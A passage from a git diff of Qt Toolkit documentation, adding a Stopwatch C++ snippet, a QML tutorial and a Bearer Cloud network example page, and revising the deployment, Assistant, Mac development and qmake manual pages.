Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "stopwatch.h" + +Stopwatch::Stopwatch() + : m_running(false) +{ +} + +bool Stopwatch::isRunning() const +{ + return m_running; +} + +void Stopwatch::start() +{ + m_running = true; +} + +void Stopwatch::stop() +{ + m_running = false; +} + diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h new file mode 100644 index 0000000..8d17121 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.h @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QObject> + +//![0] +class Stopwatch : public QObject +{ + Q_OBJECT +public: + Stopwatch(); + + Q_INVOKABLE bool isRunning() const; + +public slots: + void start(); + void stop(); + +private: + bool m_running; +}; + +//![0] + diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro new file mode 100644 index 0000000..d803e6a --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.pro @@ -0,0 +1,3 @@ +QT += declarative +HEADERS += stopwatch.h +SOURCES += main.cpp stopwatch.cpp diff --git a/doc/src/declarative/tutorial.qdoc b/doc/src/declarative/tutorial.qdoc new file mode 100644 index 0000000..1a93d05 --- /dev/null +++ b/doc/src/declarative/tutorial.qdoc @@ -0,0 +1,239 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-tutorial.html +\title QML Tutorial +\brief An introduction to the basic concepts and features of QML. +\nextpage QML Tutorial 1 - Basic Types + +This tutorial gives an introduction to QML, the mark up language for Qt Quick. It doesn't cover everything; +the emphasis is on teaching the key principles, and features are introduced as needed. + +Through the different steps of this tutorial we will learn about QML basic types, we will create our own QML component +with properties and signals, and we will create a simple animation with the help of states and transitions. + +Chapter one starts with a minimal "Hello world" program and the following chapters introduce new concepts. + +The tutorial's source code is located in the $QTDIR/examples/declarative/tutorials/helloworld directory. + +Tutorial chapters: + +\list +\o \l {QML Tutorial 1 - Basic Types} +\o \l {QML Tutorial 2 - QML Component} +\o \l {QML Tutorial 3 - States and Transitions} +\endlist + +*/ + +/*! +\page qml-tutorial1.html +\title QML Tutorial 1 - Basic Types +\contentspage QML Tutorial +\previouspage QML Tutorial +\nextpage QML Tutorial 2 - QML Component + +This first program is a very simple "Hello world" example that introduces some basic QML concepts. +The picture below is a screenshot of this program. + +\image declarative-tutorial1.png + +Here is the QML code for the application: + +\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 0 + +\section1 Walkthrough + +\section2 Import + +First, we need to import the types that we need for this example. Most QML files will import the built-in QML +types (like \l{Rectangle}, \l{Image}, ...) that come with Qt with: + +\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 3 + +\section2 Rectangle element + +\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 1 + +We declare a root element of type \l{Rectangle}. It is one of the basic building blocks you can use to create an application in QML. +We give it an \c{id} to be able to refer to it later. In this case, we call it \e page. +We also set the \c width, \c height and \c color properties. +The \l{Rectangle} element contains many other properties (such as \c x and \c y), but these are left at their default values. + +\section2 Text element + +\snippet examples/declarative/tutorials/helloworld/tutorial1.qml 2 + +We add a \l Text element as a child of our root element that will display the text 'Hello world!'. + +The \c y property is used to position the text vertically at 30 pixels from the top of its parent. + +The \c font.pointSize and \c font.bold properties are related to fonts and use the \l{dot properties}{dot notation}. + +The \c anchors.horizontalCenter property refers to the horizontal center of an element. +In this case, we specify that our text element should be horizontally centered in the \e page element (see \l{anchor-layout}{Anchor-based Layout}). + +\section2 Viewing the example + +To view what you have created, run the \l{Qt Declarative UI Runtime}{qml} tool (located in the \c bin directory) with your filename as the first argument. +For example, to run the provided completed Tutorial 1 example from the install location, you would type: + +\code +bin/qml $QTDIR/examples/declarative/tutorials/helloworld/tutorial1.qml +\endcode +*/ + +/*! +\page qml-tutorial2.html +\title QML Tutorial 2 - QML Component +\contentspage QML Tutorial +\previouspage QML Tutorial 1 - Basic Types +\nextpage QML Tutorial 3 - States and Transitions + +This chapter adds a color picker to change the color of the text. + +\image declarative-tutorial2.png + +Our color picker is made of six cells with different colors. +To avoid writing the same code multiple times, we first create a new \c Cell component. +A component provides a way of defining a new type that we can re-use in other QML files. +A QML component is like a black-box and interacts with the outside world through properties, signals and slots and is generally +defined in its own QML file (for more details, see \l {Defining new Components}). +The component's filename must always start with a capital letter. + +Here is the QML code for \c Cell.qml: + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 0 + +\section1 Walkthrough + +\section2 The Cell Component + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 1 + +The root element of our component is an \l Item with the \c id \e container. +An \l Item is the most basic visual element in QML and is often used as a container for other elements. + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 4 + +We declare a \c cellColor property. This property is accessible from \e outside our component, this allows us +to instantiate the cells with different colors. +This property is just an alias to an existing property - the color of the rectangle that compose the cell (see \l{intro-properties}{Properties}). + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 5 + +We want our component to also have a signal that we call \e clicked with a \e cellColor parameter of type \e color. +We will use this signal to change the color of the text in the main QML file later. + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 2 + +Our cell component is basically a colored rectangle with the \c id \e rectangle. + +The \c anchors.fill property is a convenient way to set the size of an element. +In this case the rectangle will have the same size as its parent (see \l{anchor-layout}{Anchor-based Layout}). + +\snippet examples/declarative/tutorials/helloworld/Cell.qml 3 + +In order to change the color of the text when clicking on a cell, we create a \l MouseArea element with +the same size as its parent. + +A \l MouseArea defines a signal called \e clicked. +When this signal is triggered we want to emit our own \e clicked signal with the color as parameter. + +\section2 The main QML file + +In our main QML file, we use our \c Cell component to create the color picker: + +\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 0 + +We create the color picker by putting 6 cells with different colors in a grid. + +\snippet examples/declarative/tutorials/helloworld/tutorial2.qml 1 + +When the \e clicked signal of our cell is triggered, we want to set the color of the text to the \e cellColor passed as a parameter. +We can react to any signal of our component through a property of the name \e 'onSignalName' (see \l{Signal Handlers}). +*/ + +/*! +\page qml-tutorial3.html +\title QML Tutorial 3 - States and Transitions +\contentspage QML Tutorial +\previouspage QML Tutorial 2 - QML Component + +In this chapter, we make this example a little bit more dynamic by introducing states and transitions. + +We want our text to move to the bottom of the screen, rotate and become red when clicked. + +\image declarative-tutorial3_animation.gif + +Here is the QML code: + +\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 0 + +\section1 Walkthrough + +\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 2 + +First, we create a new \e down state for our text element. +This state will be activated when the \l MouseArea is pressed, and deactivated when it is released. + +The \e down state includes a set of property changes from our implicit \e {default state} +(the items as they were initially defined in the QML). +Specifically, we set the \c y property of the text to \c 160, the rotation to \c 180 and the \c color to red. + +\snippet examples/declarative/tutorials/helloworld/tutorial3.qml 3 + +Because we don't want the text to appear at the bottom instantly but rather move smoothly, +we add a transition between our two states. + +\c from and \c to define the states between which the transition will run. +In this case, we want a transition from the default state to our \e down state. + +Because we want the same transition to be run in reverse when changing back from the \e down state to the default state, +we set \c reversible to \c true. +This is equivalent to writing the two transitions separately. + +The \l ParallelAnimation element makes sure that the two types of animations (number and color) start at the same time. +We could also run them one after the other by using \l SequentialAnimation instead. + +For more details on states and transitions, see \l {QML States}. +*/ diff --git a/doc/src/deployment/deployment.qdoc b/doc/src/deployment/deployment.qdoc index bf0bc74..16718f3 100644 --- a/doc/src/deployment/deployment.qdoc +++ b/doc/src/deployment/deployment.qdoc @@ -87,30 +87,28 @@ \header \o {4,1} Qt's Libraries \row - \o \l {QtAssistant} \o \l {QAxContainer} \o \l {QAxServer} \o \l {QtCore} - \row \o \l {QtDBus} + \row \o \l {QtDesigner} \o \l {QtGui} \o \l {QtHelp} - \row \o \l {QtNetwork} + \row \o \l {QtOpenGL} \o \l {QtScript} \o \l {QtScriptTools} - \row \o \l {QtSql} + \row \o \l {QtSvg} \o \l {QtWebKit} \o \l {QtXml} - \row \o \l {QtXmlPatterns} + \row \o \l {Phonon Module}{Phonon} \o \l {Qt3Support} - \o \endtable Since Qt is not a system library, it has to be redistributed along diff --git a/doc/src/deployment/qt-conf.qdoc b/doc/src/deployment/qt-conf.qdoc index b195889..298f539 100644 --- a/doc/src/deployment/qt-conf.qdoc +++ b/doc/src/deployment/qt-conf.qdoc @@ -87,6 +87,7 @@ \row \o Libraries \o \c lib \row \o Binaries \o \c bin \row \o Plugins \o \c plugins + \row \o Imports \o \c imports \row \o Data \o \c . \row \o Translations \o \c translations \row \o Settings \o \c . diff --git a/doc/src/development/assistant-manual.qdoc b/doc/src/development/assistant-manual.qdoc index c4eb615..7d56ea1 100644 --- a/doc/src/development/assistant-manual.qdoc +++ b/doc/src/development/assistant-manual.qdoc @@ -154,13 +154,17 @@ \row \o -unregister <doc.qch> \o Unregisters the specified compressed help file from the given - collection file. + collection file. \row \o -remove-search-index \o Purges the help search engine's index. This option is useful in case the associated index files get corrupted. \QA will re-index the documentation at the next start-up. \row + \o -rebuild-search-index + \o Rebuilds the help search engine's index. + Note that this operation may take a while to finish. + \row \o -setCurrentFilter <filter> \o Sets the given filter as the active filter. \row @@ -638,12 +642,19 @@ file in the \c{file} tags. It is possible to specify a different file or any language. The icon defined by the \c{icon} tags is applied to any language. \row - \o \c{<cacheDirectory>} - \o Specified as a path relative to the directory given by - QDesktopServices::DataLocation, the cache path is used to store index files + \o \c{<cacheDirectory base="collection|default">} + \o The cache directory is used to store index files needed for the full text search and a copy of the collection file. - The copy is needed because \QA stores all its settings in the collection file; - i.e., it must be writable for the user. + The copy is needed because \QA stores all its settings in the collection file; i.e., it must be writable for the user. + The directory is specified as a relative path. + If the \c{base} attribute is set to "collection", the path is + relative to the directory the collection file resides in. + If the attribute is set to "default" or if it is missing, + the path is relative to the directory given by + QDesktopServices::DataLocation. The first form is useful for + collections that are used in a "mobile" way, e.g. carried around + on a USB stick. + \endtable In addition to those \QA specific tags, the tags for generating and registering @@ -677,9 +688,6 @@ to make Assistant listen to your application, turn on its remote control functionality by passing the \c{-enableRemoteControl} command line option. - \warning The trailing '\0' must be appended separately to the QByteArray, - e.g., \c{QByteArray("command" + '\0')}. - The following example shows how this can be done: \snippet doc/src/snippets/code/doc_src_assistant-manual.qdoc 2 @@ -690,6 +698,9 @@ \snippet doc/src/snippets/code/doc_src_assistant-manual.qdoc 3 + Note that the trailing newline character is required to mark the end + of the input. + The following commands can be used to control \QA: \table @@ -727,13 +738,20 @@ \o Selects the item in the contents widget which corresponds to the currently displayed page. \row - \o \c{setCurrentFilter} + \o \c{setCurrentFilter <filter>} \o Selects the specified filter and updates the visual representation accordingly. \row \o \c{expandToc <Depth>} \o Expands the table of contents tree to the given depth. If depth - is less than 1, the tree will be collapsed completely. + is 0, the tree will be collapsed completely. If depth is -1, + the tree will be expanded completely. + \row + \o \c{register <help file>} + \o Adds the given Qt compressed help file to the collection. + \row + \o \c{unregister <help file>} + \o Removes the given Qt compressed help file from the collection. \endtable If you want to send several commands within a short period of time, it is diff --git a/doc/src/development/developing-on-mac.qdoc b/doc/src/development/developing-on-mac.qdoc index b0862cf..785858f 100644 --- a/doc/src/development/developing-on-mac.qdoc +++ b/doc/src/development/developing-on-mac.qdoc @@ -60,30 +60,32 @@ \section1 What Versions of Mac OS X are Supported? - As of Qt 4.6, Qt supports Mac OS X versions 10.4 and up. It is usually in + As of Qt 4.7, Qt supports Mac OS X versions 10.4 and up. It is usually in the best interest of the developer and user to be running the latest updates to any version. We test internally against Mac OS X 10.4.11 as well as the updated release of Mac OS X 10.5 and Mac OS X 10.6. \section2 Carbon or Cocoa? - Historically, Qt has used the Carbon toolkit, which supports 32-bit - applications on Mac OS X 10.4 and up. Qt 4.5 and up has support for the Cocoa - toolkit, which requires 10.5 and provides 64-bit support. - - This detail is typically not important to Qt application developers. Qt is - cross-platform across Carbon and Cocoa, and Qt applications behave - the same way when configured for either one. Eventually, the Carbon - version will be discontinued. This is something to keep in mind when you - consider writing code directly against native APIs. - - The current binary for Qt is built in two flavors, 32-bit Carbon and full - universal Cocoa (32-bit and 64-bit). If you want a different setup for - Qt will use, you must build from scratch. Carbon or Cocoa is chosen when - configuring the package for building. The configure process selects Carbon - by default, to specify Cocoa use the \c{-cocoa} flag. configure for a - 64-bit architecture using one of the \c{-arch} flags (see \l{universal - binaries}{Universal Binaries}). + Qt supports building in two flavors, using either the Carbon or Cocoa API. + Using the Cocoa API, Qt requires 10.5 and provides both 32-bit and 64-bit support. With + Carbon, Qt can be developed on and deployed to 10.4, but there is no 64-bit + support. + + Note: There is no accessibility support in the Cocoa version. This is planned + for Qt 4.8. + + With Qt 4.7 we recommend using the Cocoa version of Qt for development, + unless you want to target the 10.4 platform. Qt uses Cocoa by default, + both for the binary package and when configuring Qt from source (using the \c{configure} + script). To build Qt for Carbon, specify the \c{-carbon} flag to configure. + + There are two versions of the Qt binary, one with x86 and x86_64 + Cocoa and another with x86 and ppc Carbon. If you want a different setup + you must build Qt yourself using the source package. To explicitly configure + Qt to build for 34-bit or 64-bit architectures (or both), use + the \c{-arch} flags (see \l{universal binaries}{Universal Binaries}). + For the Cocoa version, 64 bit is chosen by default. Currently, Apple's default GCC compiler is used by default (GCC 4.0.1 on 10.4 and 10.5, GCC 4.2 on 10.6). You can specify alternate compilers @@ -147,13 +149,11 @@ Carbon and Cocoa both have their advantages and disadvantages. Probably the easiest way to determine is to look at the version of Mac OS X you are - targetting. If you are starting a new application and can target 10.5 and - up, then please consider Cocoa only. If you have an existing application or - need to target earlier versions of the operating system and do not need - access to 64-bit or newer Apple technologies, then Carbon is a good fit. If - your needs fall in between, you can go with a 64-bit Cocoa and 32-bit - Carbon universal application with the appropriate checks in your code to - choose the right path based on where you are running the application. + targetting. If your application can target 10.5 and up, then we recommend + using Cocoa. If you need to target earlier versions of the operating system + and do not need access to 64-bit or newer Apple technologies, then Carbon + is a good fit. If your needs fall in between, you can go with a 64-bit Cocoa and 32-bit + Carbon universal application. For Mac OS X 10.6, Apple has started recommending developers to build their applications 64-bit. The main reason is that there is a small speed @@ -162,6 +162,17 @@ the 32-bit libraries into memory if everything else is 64-bit. If you want to follow this advice, there is only one choice, 64-bit Cocoa. + + \section2 Building Qt statically + + We recommend building Qt as shared frameworks. Static builds are only partially + supported, meaning that you can build most of Qt statically, but some modules, + like web-kit and Designer, will fail. You can specify which modules to build + from configure (e.g. -no-webkit -nomake tools). For Cocoa configurations, both + static and no-framework builds requires manually copying the + 'src/gui/mac/qt_menu.nib/ directory into the " Resources" directory in + the application bundle. + \target universal binaries \section1 Universal Binaries @@ -196,8 +207,9 @@ \o \c{-arch ppc64} \endtable - If there are no \c{-arch} flags specified, configure builds for the 32-bit - architecture, if you are currently on one. Universal binaries were initially + If there are no \c{-arch} flags specified, configure builds Qt for a 32-bit + architecture when using Carbon, and a 64-bit architecture when using Cocoa. Universal + binaries were initially used to simplify the PPC to Intel migration. You can use \c{-universal} to build for both the 32-bit Intel and PPC architectures. @@ -210,6 +222,45 @@ CONFIG += x86 ppc x86_64 ppc64 \endcode + \section2 Working with several versions of Qt + You can only install one version of Qt at a time when using the binary + package. The reason for this is that a binary installation will install different parts of Qt + (frameworks, documentation, examples, tools, etc) to different + predefined locations on the OS, as described by Apple. If you want + to work against other versions at the same time, you need + to build the other versions explicitly from source. When doing so, you can + provide \c{-prefix} to configure to set install location. + The binary package will install Qt to the following locations: + + \table + \header + \o Qt + \o Location + \row + \o Designer, Linguist ... + \o /Developer/Applications/Qt + \row + \o Documentation + \o /Developer/Documentation/Qt + \row + \o Examples + \o /Developer/Examples/Qt + \row + \o Plugins + \o /Developer/Applications/Qt/Plugins + \row + \o Frameworks + \o /Library/Frameworks + \row + \o Libraries + \o /usr/lib + \row + \o qmake, moc, uic ... + \o /Developer/Tools/Qt (symlink to /usr/bin) + \row + \o uninstall-qt.py, uninstall-qtsdk.py + \o /Developer/Tools + \endtable \section1 Day-to-Day Application Development on OS X diff --git a/doc/src/development/qmake-manual.qdoc b/doc/src/development/qmake-manual.qdoc index eaf6cd0..688122b 100644 --- a/doc/src/development/qmake-manual.qdoc +++ b/doc/src/development/qmake-manual.qdoc @@ -872,7 +872,7 @@ Developers using Visual Studio to write Qt applications can use the Visual Studio integration facilities provided with the - \l{Qt Commercial Editions} and do not need to worry about how + \l{Qt Commercial Edition} and do not need to worry about how project dependencies are managed. However, some developers may need to import an existing \c qmake project @@ -1329,9 +1329,13 @@ \target DEF_FILE \section1 DEF_FILE - \e {This is only used on Windows when using the \c app template}. + \e {This is only used on Windows when using the \c app template, + and on Symbian when building a shared DLL}. - Specifies a \c .def file to be included in the project. + Specifies a \c .def file to be included in the project. On Symbian + a directory may be specified instead, in which case the real files + will be located under the standard Symbian directories \c bwins and + \c eabi. \target DEPENDPATH \section1 DEPENDPATH @@ -2004,7 +2008,7 @@ distinction between shared and \section1 QMAKE_CFLAGS_WARN_OFF This variable is not empty if the warn_off - \l{#TEMPLATE}{TEMPLATE} option is specified. The value of this + \l{#CONFIG}{CONFIG} option is specified. The value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. @@ -2012,7 +2016,7 @@ distinction between shared and \section1 QMAKE_CFLAGS_WARN_ON This variable is not empty if the warn_on - \l{#TEMPLATE}{TEMPLATE} option is specified. + \l{#CONFIG}{CONFIG} option is specified. The value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. @@ -2279,11 +2283,11 @@ For example: If the OpenGL implementation uses EGL (most OpenGL/ES systems), then QMAKE_INCDIR_EGL may also need to be set. - \section1 QMAKE_INCDIR_OPENGL_ES1, QMAKE_INCDIR_OPENGL_ES1CL, QMAKE_INCDIR_OPENGL_ES2 + \section1 QMAKE_INCDIR_OPENGL_ES1, QMAKE_INCDIR_OPENGL_ES2 These variables contain the location of OpenGL headers files to be added - to INCLUDEPATH when building an application with OpenGL ES 1, OpenGL ES 1 Common - Lite or OpenGL ES 2 support respectively. + to INCLUDEPATH when building an application with OpenGL ES 1 + or OpenGL ES 2 support respectively. The value of this variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. @@ -2537,10 +2541,10 @@ For example: variable is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. - \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES1CL, QMAKE_LIBS_OPENGL_ES2 + \section1 QMAKE_LIBS_OPENGL_ES1, QMAKE_LIBS_OPENGL_ES2 - These variables contain all the OpenGL libraries for OpenGL ES 1, - OpenGL ES 1 Common Lite profile and OpenGL ES 2. + These variables contain all the OpenGL libraries for OpenGL ES 1 + and OpenGL ES 2. The value of these variables is typically handled by \c qmake or \l{#QMAKESPEC}{qmake.conf} and rarely needs to be modified. @@ -2609,7 +2613,7 @@ For example: \section1 QMAKE_LIBS_THREAD - \e {This is used on Unix platforms only.} + \e {This is used on Unix and Symbian platforms only.} This variable contains all libraries that need to be linked against when building a multi-threaded application. The diff --git a/doc/src/development/qtestlib.qdoc b/doc/src/development/qtestlib.qdoc index 4b9c657..2b38b2c 100644 --- a/doc/src/development/qtestlib.qdoc +++ b/doc/src/development/qtestlib.qdoc @@ -582,7 +582,7 @@ /*! \example qtestlib/tutorial3 - \previouspage {Chapter 2 Data Driven Testing}{Chapter 2} + \previouspage {Chapter 2: Data Driven Testing}{Chapter 2} \contentspage {QTestLib Tutorial}{Contents} \nextpage {Chapter 4: Replaying GUI Events}{Chapter 4} diff --git a/doc/src/diagrams/contentspropagation/customwidget.py b/doc/src/diagrams/contentspropagation/customwidget.py index 44c7a6e..52a484f 100755 --- a/doc/src/diagrams/contentspropagation/customwidget.py +++ b/doc/src/diagrams/contentspropagation/customwidget.py @@ -5,7 +5,7 @@ ## All rights reserved. ## Contact: Nokia Corporation (qt-info@nokia.com) ## -## This file is part of the test suite of the Qt Toolkit. +## This file is part of the documentation of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:LGPL$ ## No Commercial Usage diff --git a/doc/src/diagrams/contentspropagation/standardwidgets.py b/doc/src/diagrams/contentspropagation/standardwidgets.py index 6c31b71..3ceabf5 100755 --- a/doc/src/diagrams/contentspropagation/standardwidgets.py +++ b/doc/src/diagrams/contentspropagation/standardwidgets.py @@ -5,7 +5,7 @@ ## All rights reserved. ## Contact: Nokia Corporation (qt-info@nokia.com) ## -## This file is part of the test suite of the Qt Toolkit. +## This file is part of the documentation of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:LGPL$ ## No Commercial Usage diff --git a/doc/src/diagrams/programs/mdiarea.py b/doc/src/diagrams/programs/mdiarea.py index d9ed472..bc8864e 100644 --- a/doc/src/diagrams/programs/mdiarea.py +++ b/doc/src/diagrams/programs/mdiarea.py @@ -5,7 +5,7 @@ ## All rights reserved. ## Contact: Nokia Corporation (qt-info@nokia.com) ## -## This file is part of the test suite of the Qt Toolkit. +## This file is part of the documentation of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:LGPL$ ## No Commercial Usage diff --git a/doc/src/diagrams/programs/qpen-dashpattern.py b/doc/src/diagrams/programs/qpen-dashpattern.py index bc8ab05..1b38d23 100644 --- a/doc/src/diagrams/programs/qpen-dashpattern.py +++ b/doc/src/diagrams/programs/qpen-dashpattern.py @@ -5,7 +5,7 @@ ## All rights reserved. ## Contact: Nokia Corporation (qt-info@nokia.com) ## -## This file is part of the test suite of the Qt Toolkit. +## This file is part of the documentation of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:LGPL$ ## No Commercial Usage diff --git a/doc/src/diagrams/programs/standard_views.py b/doc/src/diagrams/programs/standard_views.py index dbb310d..6236a3f 100644 --- a/doc/src/diagrams/programs/standard_views.py +++ b/doc/src/diagrams/programs/standard_views.py @@ -5,7 +5,7 @@ ## All rights reserved. ## Contact: Nokia Corporation (qt-info@nokia.com) ## -## This file is part of the test suite of the Qt Toolkit. +## This file is part of the documentation of the Qt Toolkit. ## ## $QT_BEGIN_LICENSE:LGPL$ ## No Commercial Usage diff --git a/doc/src/examples/bearercloud.qdoc b/doc/src/examples/bearercloud.qdoc new file mode 100644 index 0000000..c7acf04 --- /dev/null +++ b/doc/src/examples/bearercloud.qdoc @@ -0,0 +1,197 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! + \example network/bearercloud + \title Bearer Cloud Example + + The Bearer Cloud example shows how to use the Bearer Management API to monitor the + connectivity state of the local device. + + \image bearercloud-example.png Screenshot of the Bearer Cloud example + + Bearer Management provides the QNetworkConfigurationManager class which can be used to monitor + changes in the available \l {QNetworkConfiguration}{network configurations} and the + QNetworkSession class which is used to \l {QNetworkSession::open()}{open} and + \l {QNetworkSession::close()}{close} a session bringing a network interface up or down if + necessary. + + This example displays all known \l {QNetworkConfiguration}{network configurations} in a cloud + orbiting the local device. There are four orbits representing the four possible + \l {QNetworkConfiguration::StateFlags}{states} that the network configuration can be in. + The closer the orbit the more useful the network configuration is in its current state. + The inner orbit is populated with network configurations that are in the + \l {QNetworkConfiguration::Active}{Active} state. The second orbit is populated with network + configurations that are in the \l {QNetworkConfiguration::Discovered}{Discovered} state. The + third orbit is populated with network configurations that are in the + \l {QNetworkConfiguration::Defined}{Defined} state. Finally the outer orbit is populated by + configurations that are in the \l {QNetworkConfiguration::Undefined}{Undefined} state. + + Hovering the mouse over a network configuration will display information about the network + configuration in a tool tip. + + Double clicking on an Active or Discovered network configuration will + \l {QNetworkSession::close()}{close} or \l {QNetworkSession::open()}{open} a network session, + respectively. + + Lastly you can reorganize the cloud without changing the state of the network configurations by + dragging them around. + + This example consists of two main classes, the BearerCloud and Cloud classes. The Cloud class + represents a single network session and associated network configuration. The BearerCloud + class implements a Graphics View scene and manages the life-cycle of Cloud + objects in response to notification signals from QNetworkConfigurationManager. + + \section1 Setting the scene + + When constructing the scene we first calculate some random offsets using the global qsand() + and qrand() functions. We will use these offsets to scatter the initial position of new Cloud + objects. + + Next we place a text item in the center of the scene to represent the local device and + surround it with four concentric circles to help visualize the orbits. + + Finally we connect up the network configuration notification signals and queue the initial + population of the scene during the next iteration of the event loop. + + \snippet examples/network/bearercloud/bearercloud.cpp 0 + + Populating the scene with the initial list of known network configuration is easy. Iterate + over the list returned by QNetworkConfigurationManager::allConfigurations(), calling our + configurationAdded() slot on each one. + + We finishing off by calling cloudMoved() to ensure that animations are started. + + \snippet examples/network/bearercloud/bearercloud.cpp 1 + + The configurationAdded() slot gets called when a new network configuration is added to the + system. + + It stores the \l {QNetworkConfiguration::identifier()}{identifier} of the network + configuration in the \e {configStates} map, which is used to keep a count of the number of + network configurations in each state. This in turn is used to calculate the initial position + of new Cloud objects. + + Next we create a new Cloud object for this network configuration. Set its initial position + and store it in the \e {configurations} hash. + + The last step is to add it to the scene by calling QGraphicsScene::addItem(). + + \snippet examples/network/bearercloud/bearercloud.cpp 2 + + The configurationRemoved() slot gets called when a network configuration is removed from the + system. + + First we remove all references to the network configuration from the \e {configStates} and + \e {configurations} member variables. + + Next we initiate animation by setting a final scale value on the Cloud object associated with + the removed network configuration. + + Finally we flag the Cloud object to delete itself after it has finished animating. + + \snippet examples/network/bearercloud/bearercloud.cpp 3 + + The Cloud object will take care of most of the work required when a network configuration + changes. All we do in the configurationChanged() slot is update the \e {configStates} member + variable. + + \snippet examples/network/bearercloud/bearercloud.cpp 4 + + + \section1 Responding to changes + + Each network session and associated network configuration known to the system is represented in + the scene as a Cloud object. + + In the Cloud constructor we first initialize member variables. Then we create a new + QNetworkSession object bound to the network configuration. Next we connect the 